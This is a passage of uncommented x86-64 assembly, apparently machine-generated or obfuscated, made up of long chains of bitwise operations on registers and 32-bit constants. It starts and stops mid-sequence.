or ecx, edx
mov r12d, ecx
xor r12d, 0x8bb28c61
mov esi, r8d
and esi, 0xa19055d6
and ebx, 0x5e6faa29
or ebx, esi
mov ebp, ebx
xor ebp, 0x5e6faa29
xor ecx, 0xa9bc098e
and ecx, r12d
and r14d, 0x220e85ef
xor ebx, 0x81905010
or ebx, 0x220e85ef
mov edx, ebx
not edx
or r8d, 0xddf17a10
mov esi, r8d
not esi
mov r13d, ecx
and r13d, r14d
xor r14d, ecx
or r14d, r13d
and ebx, 0x64015e7d
and edx, 0x99f02000
or edx, ebx
and r8d, 0x64015e7d
and esi, 0x20e8182
or esi, r8d
xor esi, edx
mov ecx, r14d
not ecx
and ecx, esi
not esi
and esi, r14d
or esi, ecx
mov ecx, r12d
and ecx, ebp
xor ebp, r12d
or ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x93d010e
and ebp, 0xf6c2fef1
or ebp, ecx
mov edx, ebp
xor edx, 0xa4c25091
xor ebp, 0x93d010e
mov ecx, esi
not ecx
mov ebx, ecx
and ebx, 0x5a21ae6c
and esi, 0xa5de5193
or esi, ebx
or ecx, ebp
and ebp, 0x5a21ae6c
and edx, 0xa5de5193
or edx, ebp
xor edx, esi
not ecx
or ecx, edx
mov edx, r9d
and edx, 0x3d41a268
xor eax, 0x1bd5c267
and eax, r10d
mov ebp, edx
and ebp, eax
xor eax, edx
or eax, ebp
mov edx, eax
not edx
and edx, 0x75f52752
and eax, 0x8a0ad8ad
or eax, edx
mov edx, eax
xor edx, 0xb1031801
xor eax, 0x4880813a
and edx, 0xb1371c01
and eax, 0x4ec8e3fe
or eax, edx
mov ebx, eax
xor ebx, 0x28061f4
xor eax, 0xb1371c01
mov edx, eax
and edx, 0x6c4a8a0b
and ebx, 0x93b575f4
or ebx, edx
mov r8d, ebx
xor r8d, 0x93b575f4
mov ebp, ebx
xor ebp, 0x3a79da94
and ebp, r8d
or eax, 0x5633509f
mov esi, eax
not esi
mov edx, ebp
not edx
mov r14d, edx
and r14d, 0x99720b31
and ebp, 0x668df4ce
or ebp, r14d
or edx, eax
and eax, 0x99720b31
and esi, 0x208ca440
or esi, eax
xor esi, ebp
not edx
or edx, esi
mov eax, edx
not eax
and eax, 0x7393af82
and edx, 0x8c6c507d
or edx, eax
xor edx, 0x25a0ff1d
xor ebx, 0x8000003
and ebx, 0x99151117
mov eax, r8d
and eax, 0x66eaeee8
or eax, ebx
xor eax, 0x66eaeee8
or eax, r8d
mov ebp, eax
not ebp
and ebp, 0x7ef3dea0
and eax, 0x810c215f
or eax, ebp
xor eax, 0x810c215f
mov ebp, edx
and ebp, eax
xor eax, edx
or eax, ebp
mov esi, ecx
not esi
mov dword [rsp + 0x34], esi
and esi, 0x4d901682
mov ebp, ecx
xor ebp, 0x4d901682
and ebp, ecx
mov edx, esi
and edx, ebp
xor ebp, esi
or ebp, edx
mov edx, ebp
not edx
and edx, 0xb26fe97d
and ebp, 0x4d901682
or ebp, edx
mov esi, ebp
not esi
mov edx, esi
and edx, 0x3077699
and ebp, 0xfcf88966
or ebp, edx
mov r14d, ebp
xor r14d, 0x90d88066
mov ebx, ebp
xor ebx, 0x2003611
or ebx, 0x39ff41ca
mov r12d, ebx
not r12d
or esi, 0xc600be35
mov edx, esi
not edx
and ebx, 0x4bc13bf4
and r12d, 0x84008401
or r12d, ebx
and esi, 0x4bc13bf4
and edx, 0x303e400a
or edx, esi
xor edx, r12d
mov esi, edx
not esi
and esi, 0xa823f1b4
and edx, 0x57dc0e4b
or edx, esi
and r14d, 0x91dcb07e
xor ebp, 0x6d243918
or ebp, r14d
not ebp
mov esi, edx
and esi, ebp
xor ebp, edx
or ebp, esi
mov edx, ebp
not edx
and ebp, edx
mov esi, edx
and esi, ebp
xor ebp, edx
or ebp, esi
mov r14d, ebp
not r14d
and ebp, 0x98a4dfa7
and r14d, 0x675b2058
or r14d, ebp
mov edx, r15d
and edx, 0xfdfbe334
xor edi, 0x4673df0a
and edi, r11d
mov esi, edx
and esi, edi
xor edi, edx
or edi, esi
mov edx, edi
not edx
and edx, 0x6c27534a
and edi, 0x93d8acb5
or edi, edx
mov edx, edi
not edx
and edx, 0x724d2a6c
and edi, 0x8db2d593
or edi, edx
mov edx, edi
xor edx, 0x85201101
xor edi, 0x724d2a6c
mov esi, edi
and esi, 0x589fe4ba
and edx, 0xa7601b45
or edx, esi
or edi, r11d
and r11d, 0x589fe4ba
and r15d, 0xa7601b45
or r15d, r11d
xor r15d, edx
not edi
or edi, r15d
mov ebp, edi
not ebp
mov ebx, edi
and ebx, 0x39da259f
mov edx, ebp
and edx, 0xc625da60
or edx, ebx
mov r8d, eax
not r8d
mov ebx, r8d
and ebx, 0x39189197
mov esi, eax
and esi, 0xc6e76e68
or esi, ebx
mov ebx, esi
xor ebx, 0x4c40048
xor esi, 0x11081195
and esi, 0xd32b7fb5
and ebx, 0x2cd4804a
or ebx, esi
mov r15d, ebx
xor r15d, 0xd32b7fb5
mov esi, ebx
xor esi, 0xc008048
and esi, 0x4c0bf178
xor ebx, 0x5706017
and ebx, r15d
and r15d, 0xb3f40e87
or r15d, esi
mov esi, r15d
xor esi, 0xb3f40e87
mov r13d, r15d
xor r13d, 0x9a50eeda
and r13d, esi
mov r12d, r13d
and r12d, ebx
xor ebx, r13d
mov r11d, r8d
and r11d, 0x82cf21cc
mov r13d, eax
and eax, 0x7d30de33
or eax, r11d
xor eax, 0x9bc28fb6
or eax, r8d
mov r11d, r8d
or ebx, r12d
mov r8d, ebx
not r8d
and r8d, 0x328827bb
and ebx, 0xcd77d844
or ebx, r8d
xor r15d, 0xc09f030
and r15d, 0x8dc9f037
mov r8d, esi
and r8d, 0x72360fc8
or r8d, r15d
mov r15d, ebx
xor r15d, 0x80106798
xor r8d, 0x1c154049
and esi, 0x91dcb07e
or esi, r8d
mov r8d, esi
not r8d
and r8d, 0x4c8ea083
and esi, 0xb3715f7c
or esi, r8d
xor ebx, 0x750f8867
mov r8d, ebx
and r8d, 0x5fef9800
and r15d, 0xa01067ff
or r15d, r8d
mov r8d, esi
xor r8d, 0xa010477c
xor esi, 0x4c8ea083
or ebx, esi
and esi, 0x5fef9800
and r8d, 0xa01067ff
or r8d, esi
xor r8d, r15d
not ebx
or ebx, r8d
mov esi, ebx
not esi
mov r15d, esi
or r15d, 0x30c037ee
mov r8d, r15d
not r8d
or ebx, 0x8a3fc010
and ebx, 0x8a7ff6fa
and esi, 0x30800104
or esi, ebx
and r15d, 0x8a7ff6fa
and r8d, 0x45000801
or r8d, r15d
xor r8d, esi
mov esi, r8d
not esi
and esi, 0x134e6187
and r8d, 0xecb19e78
or r8d, esi
mov esi, r9d
and esi, 0x81443052
mov ebx, r10d
and ebx, 0x1098802c
or ebx, esi
mov esi, ebx
xor esi, 0x10888024
xor ebx, 0xe0475492
mov r15d, r9d
or r15d, 0x91dcb07e
and ebx, 0xe057549a
and esi, 0x1188a064
or esi, ebx
mov ebx, r15d
not ebx
and r15d, 0xe057549a
and ebx, 0xe200b01
or ebx, r15d
mov r15d, r14d
xor r15d, 0x80001707
xor r14d, 0x675b2058
xor edx, r14d
xor ebx, esi
mov esi, ebx
not esi
and esi, 0x15d635b2
and ebx, 0xea29ca4d
or ebx, esi
mov r12d, ebx
xor r12d, 0x8008c200
and r9d, 0xc074cd85
and r10d, 0x3f8b327a
or r10d, r9d
xor ebx, 0x15d635b2
mov r9d, ebx
and r9d, 0x6ae71c7f
and r12d, 0x9518e380
or r12d, r9d
mov esi, r10d
xor esi, 0x15082200
xor r10d, 0xc074cd85
or ebx, r10d
and r10d, 0x6ae71c7f
and esi, 0x9518e380
or esi, r10d
xor esi, r12d
not ebx
or ebx, esi
mov esi, ebx
not esi
and esi, 0xcdbdb6b0
and ebx, 0x3242494f
or ebx, esi
and r15d, 0x84491757
mov r9d, edi
or edi, r14d
xor edx, 0x39da259f
and edx, r14d
and r14d, 0x7bb6e8a8
or r14d, r15d
mov r10d, r14d
xor r10d, 0x1894a0a0
and r9d, 0x34b3aa30
and ebp, 0xcb4c55cf
or ebp, r9d
mov esi, ebp
xor esi, 0x884c0084
xor r14d, 0x84491757
xor ebp, 0x34b3aa30
mov r9d, r14d
and r9d, 0x67225f5b
and r10d, 0x98dda0a4
or r10d, r9d
or r14d, ebp
and ebp, 0x67225f5b
and esi, 0x98dda0a4
or esi, ebp
xor esi, r10d
not r14d
or r14d, esi
mov ebp, edi
not ebp
mov esi, edx
not esi
mov r9d, edi
and r9d, 0xe3a390c7
and ebp, 0x1c5c6f38
or ebp, r9d
or edi, esi
and esi, 0xe3a390c7
and edx, 0x1c5c6f38
or edx, esi
xor edx, ebp
not edi
or edi, edx
mov r15d, edi
mov ebp, edi
xor ebp, 0x5ced5bd
and ebp, edi
not edi
and edi, 0x1e17667b
and r15d, 0xe1e89984
or r15d, edi
mov edx, r15d
xor edx, 0xe1e89984
mov edi, r14d
xor edi, 0xfa312a42
mov r9d, edi
and r9d, r14d
xor r15d, 0x1bd9b3c6
and r15d, edx
mov r10d, r14d
and r10d, edx
xor edx, r14d
not r14d
and edi, r14d
mov esi, r9d
not esi
mov r14d, esi
and r14d, 0xb7d9ce14
and r9d, 0x482631eb
or r9d, r14d
mov r14d, edi
not r14d
or esi, r14d
and r14d, 0xb7d9ce14
and edi, 0x482631eb
or edi, r14d
mov r14d, r8d
xor r14d, 0xdc71a996
xor edi, r9d
mov r9d, ebx
xor r9d, 0xcdbdb6b0
not esi
or esi, edi
mov r12d, r15d
and r12d, ebp
xor ebp, r15d
mov edi, r14d
xor edi, r9d
xor ebx, 0x3242494f
or ebp, r12d
mov r15d, esi
not r15d
and r15d, ebp
not ebp
and ebp, esi
or ebp, r15d
or edx, r10d
mov esi, edx
not esi
mov r10d, ebp
not r10d
mov r15d, r10d
and r15d, 0x6a27a92d
and ebp, 0x95d856d2
or ebp, r15d
or r10d, edx
and edx, 0x6a27a92d
and esi, 0x95d856d2
or esi, edx
xor esi, ebp
not r10d
or r10d, esi
xor r8d, 0x3060640
and r9d, 0xc5c194da
mov esi, ebx
xor esi, r14d
and esi, ebx
and ebx, 0x3a3e6b25
or ebx, r9d
mov ebp, ebx
xor ebp, 0xa360204
xor ebx, 0xc5c194da
mov r15d, r14d
not edi
and edi, r14d
and r14d, 0x348879b9
and r8d, 0xcb778646
or r8d, r14d
or r15d, ebx
and ebx, 0x348879b9
and ebp, 0xcb778646
or ebp, ebx
xor ebp, r8d
not r15d
or r15d, ebp
mov ebp, r15d
not ebp
mov ebx, esi
and ebx, edi
xor edi, esi
or edi, ebx
mov r14d, edi
not r14d
mov edx, r15d
xor edx, 0x6260efff
and edx, r15d
mov r8d, r15d
or r8d, 0x9d9f1000
mov r9d, r14d
and r9d, 0x9d9f1000
mov r12d, edi
and r12d, 0x6260efff
or r12d, r9d
mov esi, edx
not esi
mov r9d, esi
and r9d, 0x93abf539
and edx, 0x6c540ac6
or edx, r9d
mov ebx, r8d
not ebx
or esi, r8d
and r8d, 0x93abf539
and ebx, 0x60400ac6
or ebx, r8d
xor ebx, edx
not esi
or esi, ebx
mov edx, esi
not edx
and edx, r12d
not r12d
and r12d, esi
or r12d, edx
mov edx, ebp
and edx, 0x874be33f
and r15d, 0x78b41cc0
or r15d, edx
or ebp, edi
and edi, 0x874be33f
and r14d, 0x78b41cc0
or r14d, edi
xor r14d, r15d
not ebp
or ebp, r14d
mov edx, ebp
not edx
and edx, 0x9a3dd4a3
and ebp, 0x65c22b5c
or ebp, edx
xor ebp, 0x65c22b5c
mov edx, r12d
and edx, ebp
xor ebp, r12d
or ebp, edx
mov edx, r10d
not edx
mov ebx, edx
and ebx, 0x502
mov edi, r10d
and edi, 0x5c65a899
or edi, ebx
xor edi, 0x5c65a899
mov ebx, r10d
and ebx, 0xa39a5264
or ebx, edi
mov edi, ebx
not edi
and edi, 0x836ad8fd
and ebx, 0x7c952702
or ebx, edi
mov edi, ebx
xor edi, 0x20b08000
xor ebx, 0x85021466
and edi, 0x7abde100
and ebx, 0x85421eff
or ebx, edi
mov edi, ebx
xor edi, 0x6debeacc
xor ebx, 0x85421eff
and ebx, edi
and r10d, 0xa026dfc0
mov edi, edx
and edi, 0x5fd9203f
or edi, r10d
xor edi, 0xb770d40c
and edx, 0x17560bcc
or edx, edi
mov edi, edx
not edi
and edi, 0x41eb30c3
and edx, 0xbe14cf3c
or edx, edi
mov r8d, edx
xor r8d, 0xbe14cf3c
mov r9d, edx
xor r9d, 0x412a00c1
mov r14d, ebp
not r14d
mov r10d, r14d
and r10d, 0x1800144
mov edi, ebp
and edi, 0x98030293
or edi, r10d
xor edi, 0x98030293
mov esi, ebp
and esi, 0x667cfc28
or esi, edi
mov edi, esi
not edi
and edi, 0x46ddbdef
and esi, 0xb9224210
or esi, edi
mov edi, esi
xor edi, 0x800042
xor esi, 0x5c1cae20
and esi, 0x7c3defa5
and edi, 0x83c2105a
or edi, esi
mov esi, edi
xor esi, 0x80801012
and esi, 0xe8a9f433
xor edi, 0x6b6be469
or edi, esi
mov esi, edi
not esi
and esi, 0x67965b23
and edi, 0x9869a4dc
or edi, esi
mov esi, r14d
and esi, 0xbb0ce347
and ebp, 0x44f31cb8
or ebp, esi
xor ebp, 0xac5ae88b
xor r14d, ebp
and r14d, ebp
mov r10d, ebx
not r10d
and r9d, 0xe93e4fcd
xor edx, 0x74d58b53
and edx, r8d
and r8d, 0x16c1b032
or r8d, r9d
mov r9d, r8d
xor r9d, 0x16c1b032
mov ebp, ebx
xor ebp, 0xcac1446f
and ebp, r10d
mov esi, ebx
and esi, 0x353ebb90
mov r15d, ebp
and r15d, esi
xor esi, ebp
mov ebp, r9d
and ebp, 0xcac1446f
or esi, r15d
mov r15d, ebp
and r15d, edx
xor edx, ebp
mov r12d, edi
xor r12d, 0x882804cc
xor edi, 0x67965b23
xor r8d, 0xe93e4fcd
or edx, r15d
mov ebp, esi
not ebp
and ebp, 0x8d2fea60
and esi, 0x72d0159f
or esi, ebp
mov ebp, edx
not ebp
and ebp, 0x8d2fea60
and edx, 0x72d0159f
or edx, ebp
xor edx, esi
mov esi, ebx
and esi, 0xaf7d582f
and r10d, 0x5082a7d0
or r10d, esi
or ebx, r8d
and r8d, 0xaf7d582f
and r9d, 0x5082a7d0
or r9d, r8d
xor r9d, r10d
not ebx
or ebx, r9d
mov ebp, ebx
not ebp
mov esi, edx
not esi
mov r8d, esi
and r8d, 0xb9bc1474
and edx, 0x4643eb8b
or edx, r8d
or esi, ebx
and ebx, 0xb9bc1474
and ebp, 0x4643eb8b
or ebp, ebx
xor ebp, edx
not esi
or esi, ebp
mov edx, r14d
not edx
mov ebp, edi
or ebp, edx
mov ebx, ebp
not ebx
and edi, 0x1257f011
and r12d, 0xeda80fee
or r12d, edi
and edx, 0x1257f011
and r14d, 0xeda80fee
or r14d, edx
xor r14d, r12d
mov edx, r14d
not edx
mov edi, ebp
and edi, 0xe5adfa2f
and ebx, 0x1a5205d0
or ebx, edi
or ebp, edx
and edx, 0xe5adfa2f
and r14d, 0x1a5205d0
or r14d, edx
xor r14d, ebx
not ebp
or ebp, r14d
not esi
mov edx, ebp
xor edx, esi
not edx
and edx, ebp
mov ebx, ebp
not ebx
and ebx, 0xa62715fe
and ebp, 0x59d8ea01
or ebp, ebx
xor ebp, 0xa62715fe
or ebp, esi
mov ebx, ebp
not ebx
mov r10d, edx
not r10d
mov edi, r10d
and edi, 0x3de51551
and edx, 0xc21aeaae
or edx, edi
or r10d, ebp
and ebp, 0x3de51551
and ebx, 0xc21aeaae
or ebx, ebp
xor ebx, edx
not r10d
or r10d, ebx
mov ebp, ecx
or ebp, 0xd7db6b08
mov edx, ebp
not edx
mov r8d, dword [rsp + 0x34]
mov ebx, r8d
or ebx, 0x282494f7
mov esi, ebx
not esi
and ebp, 0x7f7e6439
and edx, 0x90c6
or edx, ebp
and ebx, 0x7f7e6439
and esi, 0x80810b00
or esi, ebx
xor esi, edx
mov edx, esi
not edx
and edx, 0xad946790
and esi, 0x526b986f
or esi, edx
mov r9d, esi
xor r9d, 0x7a4f0c98
and r13d, 0xc03219f3
and r11d, 0x3fcde60c
or r11d, r13d
mov r15d, r11d
xor r15d, 0xc03219f3
xor esi, 0x85b0f367
mov edi, esi
and edi, 0x2c63c8dd
mov edx, r9d
and edx, 0xd39c3722
or edx, edi
xor edx, 0x356e66a7
mov r14d, edx
xor r14d, esi
and r14d, edx
mov edx, r8d
and edx, 0xda178b5d
and ecx, 0x25e874a2
or ecx, edx
mov r12d, ecx
xor r12d, 0x25e874a2
xor ecx, 0x90110148
and ecx, 0x9099554a
mov edx, r12d
and edx, 0x6f66aab5
or edx, ecx
xor edx, 0x766b04cf
and r12d, 0xe6f25185
or r12d, edx
xor r11d, 0x3fcde60c
mov ecx, r11d
and ecx, 0xdf0ecbf
mov edx, r15d
and edx, 0xf20f1340
or edx, ecx
mov ebx, edx
xor ebx, 0xf20f1340
xor edx, 0xc80c892
and edx, 0xec89cad2
mov ecx, ebx
and ecx, 0x1376352d
or ecx, edx
xor ecx, 0xf58464a8
and ebx, 0x190dae7a
or ebx, ecx
mov r8d, eax
not r8d
and r8d, ebx
mov r13d, ebx
not r13d
mov edx, r14d
mov ebx, r14d
xor ebx, 0x71aee367
and ebx, r14d
not r14d
and r14d, 0xe4b08f96
and edx, 0x1b4f7069
or edx, r14d
mov ebp, edx
xor ebp, 0x1b4f7069
xor edx, 0x951e6cf1
and edx, ebp
mov edi, r12d
xor edi, 0x8e511c98
and edi, r12d
mov ecx, edx
not ecx
mov r14d, ecx
and r14d, 0x6afe7ea5
and edx, 0x9501815a
or edx, r14d
mov r14d, ebx
not r14d
or ecx, r14d
and r14d, 0x6afe7ea5
and ebx, 0x9501815a
or ebx, r14d
mov r14d, ebp
and r14d, r12d
xor ebp, r12d
or r12d, 0x71aee367
xor ebx, edx
not ecx
or ecx, ebx
mov ebx, edi
not ebx
mov edx, ebx
and edx, 0x6299ef61
and edi, 0x9d66109e
or edi, edx
mov edx, r12d
not edx
or ebx, r12d
and r12d, 0x6299ef61
and edx, 0x8c401098
or edx, r12d
xor edx, edi
not ebx
or ebx, edx
mov edx, ecx
not edx
and edx, 0x32253173
and ecx, 0xcddace8c
or ecx, edx
mov edx, ebx
not edx
and edx, 0x32253173
and ebx, 0xcddace8c
or ebx, edx
xor ebx, ecx
or ebp, r14d
mov ecx, ebp
not ecx
mov edx, ebx
not edx
mov edi, edx
and edi, 0x31bfb34b
and ebx, 0xce404cb4
or ebx, edi
or edx, ebp
and ebp, 0x31bfb34b
and ecx, 0xce404cb4
or ecx, ebp
xor ecx, ebx
not edx
or edx, ecx
mov edi, r13d
xor edi, eax
and edi, r13d
and eax, r13d
or eax, r8d
mov ecx, edi
not ecx
mov ebp, eax
not ebp
mov ebx, ecx
and ebx, 0xa55323a
and edi, 0xf5aacdc5
or edi, ebx
or ecx, ebp
and ebp, 0xa55323a
and eax, 0xf5aacdc5
or eax, ebp
xor eax, edi
not ecx
or ecx, eax
mov ebp, edx
not ebp
mov eax, ebp
and eax, 0xa8192dc9
and edx, 0x57e6d236
or edx, eax
xor edx, ecx
xor edx, 0xa8192dc9
and edx, ecx
or ebp, ecx
mov ecx, ebp
not ecx
mov ebx, edx
not ebx
mov eax, ebx
and eax, 0xe2a64408
and edx, 0x1d59bbf7
or edx, eax
or ebx, ebp
and ebp, 0xe2a64408
and ecx, 0x1d59bbf7
or ecx, ebp
xor ecx, edx
not ebx
or ebx, ecx
mov ecx, esi
or ecx, r11d
mov edx, ecx
not edx
and esi, 0x1a4eec25
and r9d, 0xe5b113da
or r9d, esi
and r11d, 0x1a4eec25
and r15d, 0xe5b113da
or r15d, r11d
xor r15d, r9d
mov ebp, r15d
not ebp
mov eax, ecx
and eax, 0xf147ff7d
and edx, 0xeb80082
or edx, eax
or ecx, ebp
and ebp, 0xf147ff7d
and r15d, 0xeb80082
or r15d, ebp
xor r15d, edx
not ecx
or ecx, r15d
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x202fdf12
and edx, ecx
and ecx, 0xdfd020ed
or ecx, ebp
xor ecx, 0xdfd020ed
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x83551295
and ecx, 0x7caaed6a
or ecx, ebp
xor ecx, 0x83551295
xor edx, ecx
and edx, ecx
mov ecx, ebx
not ecx
and ecx, edx
not edx
mov eax, ebx
xor eax, edx
and eax, ebx
and edx, ebx
or edx, ecx
mov ecx, eax
not ecx
mov ebp, edx
not ebp
mov ebx, ecx
and ebx, 0x4ad43ead
and eax, 0xb52bc152
or eax, ebx
or ecx, ebp
and ebp, 0x4ad43ead
and edx, 0xb52bc152
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0x577001ac
or eax, ecx
and ecx, 0xa88ffe53
or ecx, edx
mov edx, ecx
xor edx, 0x80033213
xor ecx, 0x56500188
and ecx, 0x7edccdc8
and edx, 0x81233237
or edx, ecx
mov ecx, edx
xor ecx, 0x32148cc8
xor edx, 0x223003
and ecx, 0xb3158efc
and edx, 0x4cea7103
or edx, ecx
mov ebp, edx
xor ebp, 0xa0158cd0
xor edx, 0xc6a6101
and edx, 0x1f6a632d
and ebp, 0xe0959cd2
or ebp, edx
mov edx, ebp
xor edx, 0x1f6a632d
mov r8d, eax
not r8d
xor ebp, 0x8a0e2330
and ebp, edx
mov r9d, eax
mov ecx, eax
mov r11d, edx
and r11d, eax
xor eax, edx
or edx, 0x6a9bbfe2
mov ebx, edx
not ebx
and r9d, 0x6a9bbfe2
xor ecx, 0x9564401d
and ecx, r8d
mov edi, ebp
not edi
mov esi, edi
and esi, 0x173c4750
and ebp, 0xe8c3b8af
or ebp, esi
or edi, edx
and edx, 0x173c4750
and ebx, 0x8040000d
or ebx, edx
xor ebx, ebp
not edi
or edi, ebx
mov edx, r9d
and edx, ecx
xor ecx, r9d
or ecx, edx
mov edx, edi
not edx
and edx, 0xf452058f
and edi, 0xbadfa70
or edi, edx
mov edx, ecx
not edx
and edx, 0xf452058f
and ecx, 0xbadfa70
or ecx, edx
xor ecx, edi
or eax, r11d
not eax
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x280405a
mov edx, eax
and edx, 0xa8232000
or edx, ecx
xor edx, 0xa8232000
and eax, 0x555c9fa5
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x849a8a9c
and eax, 0x7b657563
or eax, ecx
mov ecx, eax
xor ecx, 0xd1c61539
mov r8d, eax
xor r8d, 0x2e39eac6
xor eax, 0x1aa36d25
mov ebx, eax
and ebx, r8d
and eax, ecx
mov ebp, ebx
not ebp
mov edi, eax
not edi
mov esi, ebp
and esi, 0x4cc14708
and ebx, 0xb33eb8f7
or ebx, esi
or ebp, edi
and edi, 0x4cc14708
and eax, 0xb33eb8f7
or eax, edi
xor eax, ebx
not ebp
or ebp, eax
mov eax, ebp
not eax
and eax, 0x78943bb9
and ebp, 0x876bc446
or ebp, eax
xor ebp, 0xb3f143a5
and ecx, 0xb7456bf3
mov edx, r8d
and edx, 0x48ba940c
or edx, ecx
xor edx, 0x48ba940c
or edx, r8d
not edx
mov eax, ebp
and eax, edx
xor edx, ebp
or edx, eax
mov eax, edx
mov ecx, edx
xor ecx, 0x73dcd96
and ecx, edx
not edx
and edx, 0xd1c009c9
and eax, 0x2e3ff636
or eax, edx
mov edx, eax
xor edx, 0x110406
xor eax, 0x1000980
or eax, 0xf8c23269
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0xe6acf330
and edx, 0x1110c86
or edx, ebx
or eax, ebp
and ebp, 0xe6acf330
and ecx, 0x19530ccf
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xf8c23269
and eax, 0x73dcd96
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x32c2f577
and eax, 0xcd3d0a88
or eax, ecx
mov ecx, eax
xor ecx, 0xc0200880
xor eax, 0x22007555
and eax, 0x2f1d775d
and ecx, 0xd0e288a2
or ecx, eax
mov r15d, ecx
xor r15d, 0x2f1d775d
mov eax, ecx
xor eax, 0xd0e288a2
mov ebx, r10d
not ebx
mov edx, ebx
and edx, 0x33490d28
mov r13d, r10d
and r13d, 0xccb6f2d7
or r13d, edx
mov edx, r13d
xor edx, 0x84b4e093
xor r13d, 0x33490d28
mov ebp, ebx
and ebp, r10d
mov esi, ebp
not esi
mov edi, r13d
and edi, 0x6a031764
and edx, 0x95fce89b
or edx, edi
or r13d, esi
and esi, 0x6a031764
and ebp, 0x95fce89b
or ebp, esi
xor ebp, edx
not r13d
or r13d, ebp
mov edx, r15d
and edx, 0xf0330f35
xor ecx, 0x20d18797
and ecx, eax
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x4f33a665
and ecx, 0xb0cc599a
or ecx, edx
mov r8d, ecx
xor r8d, 0x40ff56af
mov r9d, r13d
not r9d
mov edx, r9d
and edx, 0x8d16eff8
mov esi, r13d
and esi, 0x72e91007
or esi, edx
xor esi, 0xc8f29fc1
or esi, r9d
and ebx, 0x7dde0d3
and r10d, 0xf8221f2c
or r10d, ebx
mov edx, r10d
xor edx, 0xf8221f2c
xor r10d, 0x598e083
and r10d, 0xad98ecab
mov ebp, edx
and ebp, 0x52671354
or ebp, r10d
xor ebp, 0xe87c9c92
and edx, 0x45e47039
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0xd0ca54d
and edx, 0xf2f35ab2
or edx, ebp
mov r11d, edx
mov ebx, edx
xor ebx, 0xd0ca54d
mov r10d, ecx
xor r10d, 0xbf00a950
mov edi, r10d
and edi, 0xba1b8fc6
mov ebp, r8d
and ebp, 0x45e47039
or ebp, edi
mov r14d, ebp
xor r14d, r10d
and r14d, ebp
and r15d, 0x49e647e6
and eax, 0xb619b819
or eax, r15d
mov edi, eax
xor edi, 0xb619b819
xor eax, 0x40e44640
and eax, 0xf4e5fe50
mov r15d, edi
and r15d, 0xb1a01af
or r15d, eax
mov eax, esi
xor edx, 0xe965a95e
mov r12d, edx
and r12d, ebx
mov ebp, esi
and ebp, ebx
xor ebx, esi
not esi
xor r11d, 0xf2f35ab2
xor r15d, 0xb1018e69
and edi, 0x45e47039
or edi, r15d
mov r15d, edi
not r15d
and r15d, 0xbfe96119
and edi, 0x40169ee6
or edi, r15d
xor eax, 0xe4690c13
and eax, esi
or esi, 0xe4690c13
mov r15d, esi
not r15d
and edx, r11d
mov r11d, esi
and r11d, 0x78478af0
and r15d, 0x390710c
or r15d, r11d
mov r11d, eax
not r11d
or esi, r11d
and r11d, 0x78478af0
and eax, 0x87b8750f
or eax, r11d
mov r11d, edi
xor r11d, 0x401084a2
xor edi, 0xbfe96119
xor eax, r15d
not esi
or esi, eax
mov eax, r12d
not eax
mov r15d, eax
and r15d, 0x9ea4d00b
and r12d, 0x615b2ff4
or r12d, r15d
mov r15d, edx
not r15d
or eax, r15d
and r15d, 0x9ea4d00b
and edx, 0x615b2ff4
or edx, r15d
xor edx, r12d
not eax
or eax, edx
mov edx, esi
not edx
and edx, 0xdf549e61
and esi, 0x20ab619e
or esi, edx
mov edx, eax
not edx
and edx, 0xdf549e61
and eax, 0x20ab619e
or eax, edx
xor eax, esi
or ebx, ebp
mov edx, ebx
not edx
and edx, 0x69ecb072
and ebx, 0x96134f8d
or ebx, edx
mov esi, ebx
xor esi, 0x14104385
mov edx, eax
not edx
xor ebx, 0x69ecb072
mov ebp, edx
and ebp, 0xe3c30c28
and eax, 0x1c3cf3d7
or eax, ebp
or edx, ebx
and ebx, 0xe3c30c28
and esi, 0x1c3cf3d7
or esi, ebx
xor esi, eax
not edx
or edx, esi
mov esi, r14d
mov ebx, r14d
xor ebx, 0x789084b2
and ebx, r14d
not r14d
and r14d, 0xbd096139
and esi, 0x42f69ec6
or esi, r14d
mov eax, esi
xor eax, 0x42f69ec6
xor esi, 0x38000030
or esi, 0x876f7b4d
mov r12d, esi
not r12d
or r11d, 0x876f7b4d
mov r14d, r11d
not r14d
mov r15d, eax
and r15d, edi
xor eax, edi
or edi, 0x789084b2
mov ebp, esi
and ebp, 0x2851ea8e
and r12d, 0x50800430
or r12d, ebp
mov ebp, ebx
not ebp
or esi, ebp
and ebp, 0x2851ea8e
and ebx, 0xd7ae1571
or ebx, ebp
mov ebp, edi
not ebp
xor ebx, r12d
not esi
or esi, ebx
and r11d, 0xbff55464
and r14d, 0x40008092
or r14d, r11d
and edi, 0xbff55464
and ebp, 0xa2b09
or ebp, edi
xor ebp, r14d
mov ebx, esi
not ebx
and ebx, ebp
not ebp
and ebp, esi
or ebp, ebx
or eax, r15d
mov ebx, eax
not ebx
and ebx, 0xfd5129e7
and eax, 0x2aed618
or eax, ebx
xor eax, 0x2aed618
mov ebx, ebp
and ebx, eax
xor eax, ebp
or eax, ebx
mov ebx, edx
not ebx
mov ebp, ebx
and ebp, 0xd100e047
and edx, 0x2eff1fb8
or edx, ebp
xor edx, eax
xor edx, 0xd100e047
and edx, eax
mov ebp, eax
not ebp
and ebp, 0x3b44f792
and eax, 0xc4bb086d
or eax, ebp
xor eax, 0x3b44f792
or eax, ebx
mov ebp, eax
not ebp
mov r11d, edx
not r11d
mov edi, r11d
and edi, 0xac8200d2
and edx, 0x537dff2d
or edx, edi
or r11d, eax
and eax, 0xac8200d2
and ebp, 0x537dff2d
or ebp, eax
xor ebp, edx
not r11d
or r11d, ebp
mov eax, r9d
and eax, 0x1d371f3d
mov edx, r13d
and edx, 0xe2c8e0c2
or edx, eax
mov eax, r8d
or eax, 0xe2c8e0c2
mov ebp, eax
not ebp
